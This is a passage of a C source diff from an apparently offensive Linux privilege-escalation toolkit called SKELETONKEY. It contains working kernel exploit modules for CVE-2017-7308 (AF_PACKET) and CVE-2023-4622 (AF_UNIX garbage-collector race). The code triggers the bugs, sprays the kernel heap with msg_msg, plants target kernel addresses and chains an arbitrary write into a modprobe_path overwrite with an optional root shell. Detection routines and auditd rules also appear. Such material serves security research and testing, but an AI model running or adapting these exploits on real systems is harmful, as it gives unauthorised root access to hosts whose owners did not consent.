+    memset(payload + 6, 0, 6);                      /* eth src: zero */
+    payload[12] = 0x08; payload[13] = 0x00;         /* eth type: IPv4 */
+    memcpy(payload + 14, "skeletonkey-afp-fc-", 15);    /* dmesg tag */
+
+    if (skb_data_off >= 0 &&
+        (size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
+        memcpy(payload + skb_data_off, &kaddr, sizeof kaddr);
+    } else {
+        static const size_t guesses[] = {
+            0x40, 0x48, 0x50, 0x58, 0x60, 0x68, 0x70, 0x78
+        };
+        for (size_t i = 0; i < sizeof(guesses)/sizeof(guesses[0]); i++) {
+            if (guesses[i] + sizeof kaddr <= sizeof payload)
+                memcpy(payload + guesses[i], &kaddr, sizeof kaddr);
+        }
+    }
+
+    int tx = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
+    if (tx < 0) {
+        fprintf(stderr, "[-] af_packet: arb_write: tx socket: %s\n",
+                strerror(errno));
+        close(s);
+        return -1;
+    }
+    struct sockaddr_ll dst;
+    memset(&dst, 0, sizeof dst);
+    dst.sll_family   = AF_PACKET;
+    dst.sll_protocol = htons(ETH_P_ALL);
+    dst.sll_ifindex  = ifr.ifr_ifindex;
+    dst.sll_halen    = 6;
+    memset(dst.sll_addr, 0xff, 6);
+
+    for (int i = 0; i < 200; i++) {
+        (void)sendto(tx, payload, sizeof payload, 0,
+                     (struct sockaddr *)&dst, sizeof dst);
+    }
+
+    unsigned char wbuf[256];
+    memset(wbuf, 0, sizeof wbuf);
+    memset(wbuf, 0xff, 6);
+    memset(wbuf + 6, 0, 6);
+    wbuf[12] = 0x08; wbuf[13] = 0x00;
+    size_t wlen = len;
+    if (14 + wlen > sizeof wbuf) wlen = sizeof wbuf - 14;
+    memcpy(wbuf + 14, buf, wlen);
+    for (int i = 0; i < 50; i++) {
+        (void)sendto(tx, wbuf, 14 + wlen, 0,
+                     (struct sockaddr *)&dst, sizeof dst);
+    }
+
+    close(tx);
+    close(s);
+    return 0;
+}
+
 #endif /* __x86_64__ */

-static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
 {
 #if !defined(__x86_64__)
    (void)ctx;
    fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
                    "(cred-offset table is arch-specific)\n");
-    return IAMROOT_PRECOND_FAIL;
+    return SKELETONKEY_PRECOND_FAIL;
 #else
    /* 1. Refuse on patched kernels — re-run detect. */
-    iamroot_result_t pre = af_packet_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = af_packet_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
        fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
        return pre;
    }
@@ -444,7 +721,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
    /* 2. Refuse if already root. */
    if (geteuid() == 0) {
        fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    /* 3. Resolve offsets for THIS kernel. If we don't have them, bail
@@ -452,15 +729,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
     *    extend known_offsets[] for new distro builds. */
    struct kernel_version v;
    if (!kernel_version_current(&v)) {
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }
    struct af_packet_offsets off;
    if (!resolve_offsets(&off, &v)) {
        fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
-                        "    set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
+                        "    set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
                        "    (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
                v.release);
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }
    if (!ctx->json) {
        fprintf(stderr, "[*] af_packet: using offsets [%s] "
@@ -468,15 +745,41 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
                off.kernel_id, off.task_cred, off.cred_uid, off.cred_size);
    }

+    uid_t outer_uid = getuid();
+    gid_t outer_gid = getgid();
+
+    /* 3b. --full-chain: opt-in modprobe_path overwrite via xairy-style
+     *     sk_buff hijack arb-write. Refuses cleanly if (a) the shared
+     *     offset resolver can't find modprobe_path or (b) the trigger
+     *     is rejected (silent backport). */
+    if (ctx->full_chain) {
+        struct skeletonkey_kernel_offsets koff;
+        memset(&koff, 0, sizeof koff);
+        (void)skeletonkey_offsets_resolve(&koff);
+        if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
+            skeletonkey_finisher_print_offset_help("af_packet");
+            return SKELETONKEY_EXPLOIT_FAIL;
+        }
+        if (!ctx->json) {
+            skeletonkey_offsets_print(&koff);
+        }
+        struct afp_arb_ctx arb_ctx = {
+            .ctx       = ctx,
+            .off       = &off,
+            .outer_uid = outer_uid,
+            .outer_gid = outer_gid,
+        };
+        return skeletonkey_finisher_modprobe_path(&koff, afp_arb_write,
+                                              &arb_ctx, !ctx->no_shell);
+    }
+
    /* 4. Fork: child enters userns+netns, fires overflow, attempts the
     *    cred-overwrite walk. We do it in a child so the (possibly
     *    crashed) packet socket lives in a tear-downable address space
     *    — the kernel will clean up sockets on child exit. */
-    uid_t outer_uid = getuid();
-    gid_t outer_gid = getgid();

    pid_t child = fork();
-    if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
+    if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
    if (child == 0) {
        /* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -497,7 +800,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
            /* WIN — one of our task_struct-spray children became uid 0.
             * Signal parent via exit code; parent will not exec sh from
             * this child (its address space is corrupted-ish). The win
-             * is symbolic at the iamroot level: we proved the primitive
+             * is symbolic at the skeletonkey level: we proved the primitive
             * lands AND the cred-overwrite walk completes. */
            _exit(0);
        }
@@ -512,9 +815,9 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
        fprintf(stderr, "[-] af_packet: child died abnormally "
                        "(signal=%d) — primitive likely fired but crashed\n",
                WTERMSIG(status));
-        fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` "
+        fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN\\|BUG:'` "
                        "for slab-out-of-bounds evidence\n");
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }

    int code = WEXITSTATUS(status);
@@ -528,29 +831,29 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
         * that targets OUR cred specifically (rather than spray-and-
         * pray), we can't promote ourselves. Report PARTIAL win.
         *
-         * Per requirements: only return IAMROOT_EXPLOIT_OK if we
+         * Per requirements: only return SKELETONKEY_EXPLOIT_OK if we
         * empirically confirmed root in this process. We didn't. */
        fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
                        "but THIS process is still uid %d\n", geteuid());
        fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
                        "did not acquire root. The primitive demonstrably works.\n");
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;

    case 4:
        fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
                        "kernel has silent backport (detect was version-only)\n");
-        return IAMROOT_OK;  /* effectively patched */
+        return SKELETONKEY_OK;  /* effectively patched */

    case 5:
        fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
                        "acquired root within the timeout window\n");
-        fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` "
+        fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN'` "
                        "for evidence the OOB write occurred\n");
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;

    default:
        fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }
 #endif
 }
@@ -558,10 +861,10 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
 static const char af_packet_auditd[] =
    "# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
    "# Flag AF_PACKET socket creation from non-root via userns.\n"
-    "-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n"
-    "-a always,exit -F arch=b64 -S unshare -k iamroot-af-packet-userns\n";
+    "-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
+    "-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";

-const struct iamroot_module af_packet_module = {
+const struct skeletonkey_module af_packet_module = {
    .name           = "af_packet",
    .cve            = "CVE-2017-7308",
    .summary        = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
@@ -577,7 +880,7 @@ const struct iamroot_module af_packet_module = {
    .detect_falco   = NULL,
 };

-void iamroot_register_af_packet(void)
+void skeletonkey_register_af_packet(void)
 {
-    iamroot_register(&af_packet_module);
+    skeletonkey_register(&af_packet_module);
 }
@@ -0,0 +1,12 @@
+/*
+ * af_packet_cve_2017_7308 — SKELETONKEY module registry hook
+ */
+
+#ifndef AF_PACKET_SKELETONKEY_MODULES_H
+#define AF_PACKET_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module af_packet_module;
+
+#endif
@@ -0,0 +1,35 @@
+# NOTICE — af_unix_gc (CVE-2023-4622)
+
+## Vulnerability
+
+**CVE-2023-4622** — AF_UNIX garbage-collector race against SCM_RIGHTS
+fd-passing → `struct unix_sock` freed while still reachable → slab
+UAF in `SLAB_TYPESAFE_BY_RCU` kmalloc-512 bucket.
+
+## Research credit
+
+Discovered and disclosed by **Lin Ma** (Zhejiang University),
+August 2023.
+
+Writeup: <https://github.com/google/security-research/security/advisories/GHSA-7p7m-3xv8-2pq2>
+(disclosure record), plus Lin Ma's public PoC repo.
+
+Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023).
+Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
+5.15.130 / 6.1.51 / 6.5.0.
+
+## SKELETONKEY role
+
+**Widest deployment of any module in the corpus** — bug present
+in every Linux kernel below the fix (back to ~2.0 era).
+
+Two-thread race driver: Thread A cycles SCM_RIGHTS fd-passing
+through a socketpair; Thread B triggers unix_gc by closing a socket
+in a reference cycle. msg_msg spray refills the freed slot.
+CPU-pinned. Bounded budget: 5 s default, 30 s with `--full-chain`.
+
+Bug is reachable as a **plain unprivileged user** — no userns
+required, no CAP_* needed. Race-win rate per run is iteration-
+dependent; Lin Ma's PoC reports thousands of iterations to first
+reclaim. The shared finisher's sentinel timeout handles no-land
+outcomes gracefully.
@@ -0,0 +1,847 @@
+/*
+ * af_unix_gc_cve_2023_4622 — SKELETONKEY module
+ *
+ * AF_UNIX garbage collector race UAF. The unix_gc() collector walks
+ * the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
+ * concurrently mutate the inflight refcount on the same sockets. The
+ * narrow window between a socket being marked GC-eligible and the
+ * collector actually freeing it can be widened by tightly cycling
+ * SCM_RIGHTS messages — when the race wins, a `struct unix_sock` is
+ * freed while still reachable from another thread's skb queue, giving
+ * slab UAF in the SLAB_TYPESAFE_BY_RCU kmalloc-512 bucket.
+ *
+ * Discovered by Lin Ma (ZJU) in Aug 2023. Public exploit chain uses
+ * the UAF + msg_msg cross-cache spray to refill the freed slot, then
+ * pivots through the now-controlled `unix_sock->peer` field.
+ *
+ * STATUS: 🟡 PRIMITIVE — race-driver + msg_msg groom + empirical
+ *   witness. We carry the trigger (SCM_RIGHTS cycle + GC), the
+ *   kmalloc-512 spray, CPU pinning for race-win improvement, and the
+ *   slab-delta + signal-disposition witness. We do NOT carry the
+ *   leak (no read primitive in-module) nor a kernel-build-specific
+ *   fake unix_sock layout. Per verified-vs-claimed: a SIGSEGV/SIGKILL
+ *   in the race child IS recorded but does NOT upgrade to EXPLOIT_OK
+ *   — only an actual cred swap (euid==0) does, and we do not
+ *   demonstrate that without --full-chain.
+ *
+ *   --full-chain (HONEST RELIABILITY): extends the race budget from
+ *   5 s to 30 s and re-sprays kmalloc-512 with payloads carrying the
+ *   target kaddr at strided offsets. Race-win rate on a real
+ *   vulnerable kernel is iteration-dependent — Lin Ma's PoC reports
+ *   thousands of iterations to first reclaim. The shared
+ *   modprobe_path finisher's 3 s sentinel timeout catches the
+ *   overwhelmingly common no-land outcome gracefully.
+ *
+ * Affected: ALL Linux kernels with AF_UNIX below the fix. The bug
+ * has been in the GC path since the 2.x era. Stable backports:
+ *   4.14.x : K >= 4.14.326
+ *   4.19.x : K >= 4.19.295
+ *   5.4.x  : K >= 5.4.257
+ *   5.10.x : K >= 5.10.197
+ *   5.15.x : K >= 5.15.130
+ *   6.1.x  : K >= 6.1.51   (LTS)
+ *   6.5.x  : K >= 6.5.0    (mainline fix)
+ *   6.6+   : patched
+ *
+ * Preconditions:
+ *   - AF_UNIX socket creation works (always — no module gate)
+ *   - msgsnd / sysv IPC available for spray
+ *   - SCM_RIGHTS via sendmsg available (universal)
+ *   - userns NOT required — works as a plain unprivileged user
+ *
+ * Coverage rationale: the AF_UNIX GC has been touched extensively
+ * for the 2023-2024 series of races (Lin Ma + Pwn2Own follow-ups);
+ * this CVE is the first publicly-disclosed entry in that series and
+ * carries the widest version range of any module we ship.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+#include "../../core/kernel_range.h"
+#include "../../core/offsets.h"
+#include "../../core/finisher.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <stdbool.h>
+#include <stdatomic.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <signal.h>
+#include <pthread.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/stat.h>
+#include <sys/socket.h>
+
+#ifdef __linux__
+#  include <sched.h>
+#  include <sys/ipc.h>
+#  include <sys/msg.h>
+#  include <sys/un.h>
+#endif
+
+/* macOS clangd lacks Linux SCM_* / CMSG_* fully — guard fallbacks. */
+#ifndef SCM_RIGHTS
+#  define SCM_RIGHTS 0x01
+#endif
+#ifndef SOL_SOCKET
+#  define SOL_SOCKET 1
+#endif
+#ifndef MSG_DONTWAIT
+#  define MSG_DONTWAIT 0x40
+#endif
+
+/* ---- Kernel-range table ------------------------------------------ */
+
+static const struct kernel_patched_from af_unix_gc_patched_branches[] = {
+    {4, 14, 326},
+    {4, 19, 295},
+    {5,  4, 257},
+    {5, 10, 197},
+    {5, 15, 130},
+    {6,  1,  51},   /* 6.1 LTS */
+    {6,  5,   0},   /* mainline fix landed in 6.5 (technically 6.6-rc1
+                       but stable 6.5.x carries the patch) */
+};
+
+static const struct kernel_range af_unix_gc_range = {
+    .patched_from = af_unix_gc_patched_branches,
+    .n_patched_from = sizeof(af_unix_gc_patched_branches) /
+                      sizeof(af_unix_gc_patched_branches[0]),
+};
+
+/* ---- Detect ------------------------------------------------------- */
+
+/* Sanity: can we actually create an AF_UNIX socket on this host?
+ * In some seccomp/ns-restricted sandboxes socket(AF_UNIX, ...) fails;
+ * in that case the exploit cannot even reach the GC path. */
+static bool can_create_af_unix(void)
+{
+    int s = socket(AF_UNIX, SOCK_DGRAM, 0);
+    if (s < 0) return false;
+    close(s);
+    return true;
+}
+
+static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
+{
+    struct kernel_version v;
+    if (!kernel_version_current(&v)) {
+        fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+
+    /* No lower bound: this bug has been in the AF_UNIX GC path since
+     * the dawn of time. ANY kernel below the fix is vulnerable. The
+     * kernel_range walker handles "older than every entry" correctly
+     * (returns false → not patched → vulnerable). */
+    bool patched = kernel_range_is_patched(&af_unix_gc_range, &v);
+    if (patched) {
+        if (!ctx->json) {
+            fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
+        }
+        return SKELETONKEY_OK;
+    }
+
+    /* Reachability probe — socket(AF_UNIX, ...) must succeed. */
+    if (!can_create_af_unix()) {
+        if (!ctx->json) {
+            fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
+                            "exotic seccomp/sandbox, bug unreachable here\n");
+        }
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+
+    if (!ctx->json) {
+        fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v.release);
+        fprintf(stderr, "[i] af_unix_gc: bug is reachable as PLAIN UNPRIVILEGED USER\n"
+                        "    (no userns / no CAP_* required — AF_UNIX is universally\n"
+                        "    creatable). The race window is microseconds wide and\n"
+                        "    needs thousands of iterations to win on average.\n");
+    }
+    return SKELETONKEY_VULNERABLE;
+}
+
+/* ---- Race-driver state ------------------------------------------- */
+
+#ifdef __linux__
+
+#define AFUG_RACE_TIME_BUDGET       5     /* seconds — primitive-only mode */
+#define AFUG_RACE_FULLCHAIN_BUDGET  30    /* seconds — --full-chain */
+
+/* kmalloc-512 spray width — `struct unix_sock` is in the kmalloc-512
+ * bucket on 64-bit x86 with SLAB_TYPESAFE_BY_RCU. We need enough
+ * msg_msg slots to make refill probable within the RCU grace period. */
+#define AFUG_SPRAY_QUEUES      24
+#define AFUG_SPRAY_PER_QUEUE   48
+#define AFUG_SPRAY_PAYLOAD     496   /* 512 - 16 (msg_msg hdr) */
+
+/* SCM_RIGHTS race width: how many inflight fds per cycle. The bug
+ * is driven by inflight count crossing the GC threshold; a handful
+ * per cycle keeps the GC heuristic primed without OOM. */
+#define AFUG_SCM_FDS_PER_MSG   3
+
+struct ipc_payload {
+    long mtype;
+    unsigned char buf[AFUG_SPRAY_PAYLOAD];
+};
+
+static _Atomic int g_race_running;
+static _Atomic uint64_t g_thread_a_iters;
+static _Atomic uint64_t g_thread_b_iters;
+static _Atomic uint64_t g_thread_a_errs;
+
+/* Pin to a CPU to make Thread A and Thread B land on different cores.
+ * Best-effort: failure is non-fatal (e.g., affinity disallowed under
+ * some seccomp configs). */
+static void pin_to_cpu(int cpu)
+{
+    cpu_set_t set;
+    CPU_ZERO(&set);
+    CPU_SET(cpu, &set);
+    sched_setaffinity(0, sizeof set, &set);
+}
+
+/* The race victim region: a pair of socketpair(AF_UNIX) endpoints
+ * forming a reference cycle. Closing one end while the other has
+ * inflight fds queued is what naturally triggers unix_gc().
+ *
+ * Layout we drive (Lin Ma style):
+ *
+ *   pair_a = socketpair(); pair_b = socketpair();
+ *   send pair_b[0] via SCM_RIGHTS over pair_a[0] → pair_a[1]
+ *   send pair_a[0] via SCM_RIGHTS over pair_b[0] → pair_b[1]
+ *   close all 4 endpoints — now we have a cycle the GC will collect
+ *
+ * Thread A loops the build-cycle-and-close.
+ * Thread B loops sending its own SCM_RIGHTS messages on independent
+ * pairs to perturb the inflight count + race the collector. */
+
+/* Send an SCM_RIGHTS message with `nfds` fds over `sock`. Returns 0
+ * on success, -1 on error. */
+static int send_scm_rights(int sock, const int *fds, int nfds)
+{
+    char ctrl[CMSG_SPACE(sizeof(int) * AFUG_SCM_FDS_PER_MSG)];
+    memset(ctrl, 0, sizeof ctrl);
+
+    char payload = 0;
+    struct iovec iov = { .iov_base = &payload, .iov_len = 1 };
+
+    struct msghdr msg = {0};
+    msg.msg_iov = &iov;
+    msg.msg_iovlen = 1;
+    msg.msg_control = ctrl;
+    msg.msg_controllen = CMSG_SPACE(sizeof(int) * nfds);
+
+    struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
+    if (!cmsg) return -1;
+    cmsg->cmsg_level = SOL_SOCKET;
+    cmsg->cmsg_type  = SCM_RIGHTS;
+    cmsg->cmsg_len   = CMSG_LEN(sizeof(int) * nfds);
+    memcpy(CMSG_DATA(cmsg), fds, sizeof(int) * nfds);
+
+    if (sendmsg(sock, &msg, MSG_DONTWAIT) < 0) return -1;
+    return 0;
+}
+
+/* Thread A: tight-loop SCM_RIGHTS-cycle + close to drive GC.
+ *
+ * Each iteration:
+ *   1. Build two socketpairs (A=[a0,a1], B=[b0,b1]).
+ *   2. Send b0 via SCM_RIGHTS over a0 → a1 receives nothing yet (we
+ *      don't recvmsg — that's the point: the fd stays inflight).
+ *   3. Send a0 via SCM_RIGHTS over b0 → b1 receives nothing yet.
+ *   4. close() all 4 user-side fds.  Now both endpoints are unreachable
+ *      from userspace BUT each is referenced from the other's skb
+ *      queue → reference cycle → next unix_gc() pass collects them.
+ *
+ * The kernel's GC heuristic kicks when the inflight count exceeds
+ * the count of file refs in the system; closing the user-side fds in
+ * a tight loop reliably triggers it. */
+static void *race_thread_a(void *arg)
+{
+    (void)arg;
+    pin_to_cpu(0);
+    while (atomic_load_explicit(&g_race_running, memory_order_acquire)) {
+        int pa[2], pb[2];
+        if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pa) < 0) {
+            atomic_fetch_add_explicit(&g_thread_a_errs, 1, memory_order_relaxed);
+            sched_yield();
+            continue;
+        }
+        if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pb) < 0) {
+            close(pa[0]); close(pa[1]);
+            atomic_fetch_add_explicit(&g_thread_a_errs, 1, memory_order_relaxed);
+            sched_yield();
+            continue;
+        }
+
+        /* Cycle: send pb[0] over pa, send pa[0] over pb. We also send
+         * pb[1]/pa[1] alongside to widen the inflight count per cycle
+         * (the GC trigger heuristic compares inflight vs total file
+         * refs — more inflight per cycle == earlier GC). */
+        int fds_a[AFUG_SCM_FDS_PER_MSG] = { pb[0], pb[1], pb[0] };
+        int fds_b[AFUG_SCM_FDS_PER_MSG] = { pa[0], pa[1], pa[0] };
+        (void)send_scm_rights(pa[0], fds_a, AFUG_SCM_FDS_PER_MSG);
+        (void)send_scm_rights(pb[0], fds_b, AFUG_SCM_FDS_PER_MSG);
+
+        /* Close the user-side fds. The kernel-side refs are now only
+         * held via the inflight skbs — perfect reference cycle for
+         * the GC to find. */
+        close(pa[0]); close(pa[1]);
+        close(pb[0]); close(pb[1]);
+
+        atomic_fetch_add_explicit(&g_thread_a_iters, 1, memory_order_relaxed);
+    }
+    return NULL;
+}
+
+/* Thread B: independent SCM_RIGHTS traffic on a held pair to keep
+ * the GC scan list churning while Thread A creates new candidates.
+ *
+ * Holds a long-lived socketpair and repeatedly sends + recvs SCM_RIGHTS
+ * with random fds (dup'd from /dev/null). This drives the GC's "scan
+ * list" rebuild path concurrently with Thread A's frees — the race
+ * window that fires the UAF is exactly here.
+ *
+ * We don't directly call unix_gc() — there's no userspace knob — but
+ * the GC heuristic is inflight-count driven, and Thread A's cycle
+ * loop pushes that count past the threshold within a few thousand
+ * iterations. */
+static void *race_thread_b(void *arg)
+{
+    (void)arg;
+    pin_to_cpu(1);
+
+    /* Long-lived pair for the perturbation loop. */
+    int held[2];
+    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, held) < 0) {
+        return NULL;
+    }
+
+    /* Spare fd source — /dev/null dups are harmless to pass. */
+    int devnull = open("/dev/null", O_RDWR);
+    if (devnull < 0) {
+        close(held[0]); close(held[1]);
+        return NULL;
+    }
+
+    while (atomic_load_explicit(&g_race_running, memory_order_acquire)) {
+        int fds[AFUG_SCM_FDS_PER_MSG];
+        for (int i = 0; i < AFUG_SCM_FDS_PER_MSG; i++) {
+            fds[i] = dup(devnull);
+        }
+        (void)send_scm_rights(held[0], fds, AFUG_SCM_FDS_PER_MSG);
+        for (int i = 0; i < AFUG_SCM_FDS_PER_MSG; i++) {
+            if (fds[i] >= 0) close(fds[i]);
+        }
+
+        /* Drain the recv side so the held pair doesn't backpressure. */
+        char drain[16];
+        char ctrl[CMSG_SPACE(sizeof(int) * AFUG_SCM_FDS_PER_MSG)];
+        struct iovec iov = { .iov_base = drain, .iov_len = sizeof drain };
+        struct msghdr msg = {0};
+        msg.msg_iov = &iov; msg.msg_iovlen = 1;
+        msg.msg_control = ctrl; msg.msg_controllen = sizeof ctrl;
+        if (recvmsg(held[1], &msg, MSG_DONTWAIT) > 0) {
+            /* Close any fds we received so we don't leak. */
+            for (struct cmsghdr *c = CMSG_FIRSTHDR(&msg); c;
+                 c = CMSG_NXTHDR(&msg, c)) {
+                if (c->cmsg_level == SOL_SOCKET && c->cmsg_type == SCM_RIGHTS) {
+                    int nfd = (c->cmsg_len - CMSG_LEN(0)) / sizeof(int);
+                    int *rfds = (int *)CMSG_DATA(c);
+                    for (int j = 0; j < nfd; j++)
+                        if (rfds[j] >= 0) close(rfds[j]);
+                }
+            }
+        }
+
+        atomic_fetch_add_explicit(&g_thread_b_iters, 1, memory_order_relaxed);
+    }
+
+    close(devnull);
+    close(held[0]); close(held[1]);
+    return NULL;
+}
+
+/* ---- msg_msg cross-cache spray for kmalloc-512 ------------------- */
+
+static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
+{
+    struct ipc_payload p;
+    memset(&p, 0, sizeof p);
+    p.mtype = 0x55;   /* 'U' — unix */
+    memset(p.buf, 0x55, sizeof p.buf);
+    memcpy(p.buf, "SKELETONKEYU", 8);
+
+    int created = 0;
+    for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
+        int q = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
+        if (q < 0) { queues[i] = -1; continue; }
+        queues[i] = q;
+        created++;
+        for (int j = 0; j < AFUG_SPRAY_PER_QUEUE; j++) {
+            if (msgsnd(q, &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
+        }
+    }
+    return created;
+}
+
+static void drain_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
+{
+    for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
+        if (queues[i] >= 0) msgctl(queues[i], IPC_RMID, NULL);
+    }
+}
+
+/* Read /proc/slabinfo for kmalloc-512 active count. Used as the
+ * primary empirical witness: a successful UAF + refill perturbs
+ * this counter in a way that's distinguishable from idle drift. */
+static long slab_active_kmalloc_512(void)
+{
+    FILE *f = fopen("/proc/slabinfo", "r");
+    if (!f) return -1;
+    char line[512];
+    long active = -1;
+    while (fgets(line, sizeof line, f)) {
+        if (strncmp(line, "kmalloc-512 ", 12) == 0) {
+            char name[64];
+            long act = 0, num = 0;
+            if (sscanf(line, "%63s %ld %ld", name, &act, &num) >= 2) {
+                active = act;
+            }
+            break;
+        }
+    }
+    fclose(f);
+    return active;
+}
+
+/* ---- Arb-write primitive (FALLBACK depth) ------------------------
+ *
+ * The shared modprobe_path finisher calls back here once per kernel
+ * write. For AF_UNIX GC race we cannot deliver a deterministic
+ * arb-write — the underlying race wins on a small fraction of runs
+ * even with a 30 s budget, and even when the race wins our spray-only
+ * groom has nowhere near the precision of Lin Ma's multi-stage public
+ * PoC (which crafts a fake unix_sock whose `peer` pointer steers a
+ * subsequent SCM_RIGHTS dispatch into the kaddr we want written).
+ *
+ * Honest depth: FALLBACK. Each invocation:
+ *   1. Re-seeds the kmalloc-512 spray with payloads tagged with
+ *      `kaddr` packed at strided offsets (so wherever the UAF reclaim
+ *      lands attacker-controlled bytes inside the freed unix_sock,
+ *      our kaddr appears at the field offset).
+ *   2. Re-runs the race threads for the extended full-chain budget.
+ *   3. Returns 0 — we cannot in-process verify the write landed. The
+ *      shared finisher's 3 s sentinel file check is the empirical
+ *      arbiter: on the overwhelmingly common no-land outcome it
+ *      returns EXPLOIT_FAIL gracefully. */
+struct af_unix_gc_arb_ctx {
+    int    *queues;
+    int     n_queues;
+    int     arb_calls;
+};
+
+static int af_unix_gc_reseed_kaddr_spray(int queues[AFUG_SPRAY_QUEUES],
+                                         uintptr_t kaddr,
+                                         const void *buf, size_t len)
+{
+    struct ipc_payload p;
+    memset(&p, 0, sizeof p);
+    p.mtype = 0x52;   /* 'R' — arb-write reseed (distinct from groom 0x55) */
+    memset(p.buf, 0x52, sizeof p.buf);
+    memcpy(p.buf, "IAMU4ARB", 8);
+
+    /* Plant kaddr at strided slots so wherever the kernel's UAF
+     * follows a ptr in the refilled chunk, one of these is read.
+     * unix_sock has multiple pointer fields (peer, link, scm_stat,
+     * etc.) — strided coverage hits whichever one the UAF dispatch
+     * dereferences. */
+    for (size_t off = 0x10; off + sizeof(uintptr_t) <= sizeof p.buf;
+         off += 0x18) {
+        memcpy(p.buf + off, &kaddr, sizeof(uintptr_t));
+    }
+
+    /* Caller's bytes immediately after the cookie so any path that
+     * reads payload data (rather than a chased pointer) finds the
+     * requested write contents inline. */
+    size_t copy = len;
+    if (copy > sizeof p.buf - 16) copy = sizeof p.buf - 16;
+    if (buf && copy) memcpy(p.buf + 8 + sizeof(uintptr_t), buf, copy);
+
+    int touched = 0;
+    for (int i = 0; i < AFUG_SPRAY_QUEUES && touched < 6; i++) {
+        if (queues[i] < 0) continue;
+        if (msgsnd(queues[i], &p, sizeof p.buf, IPC_NOWAIT) == 0) touched++;
+    }
+    return touched;
+}
+
+static int af_unix_gc_arb_write(uintptr_t kaddr,
+                                const void *buf, size_t len,
+                                void *ctx_v)
+{
+    struct af_unix_gc_arb_ctx *c = (struct af_unix_gc_arb_ctx *)ctx_v;
+    if (!c || !c->queues || c->n_queues == 0) return -1;
+    c->arb_calls++;
+
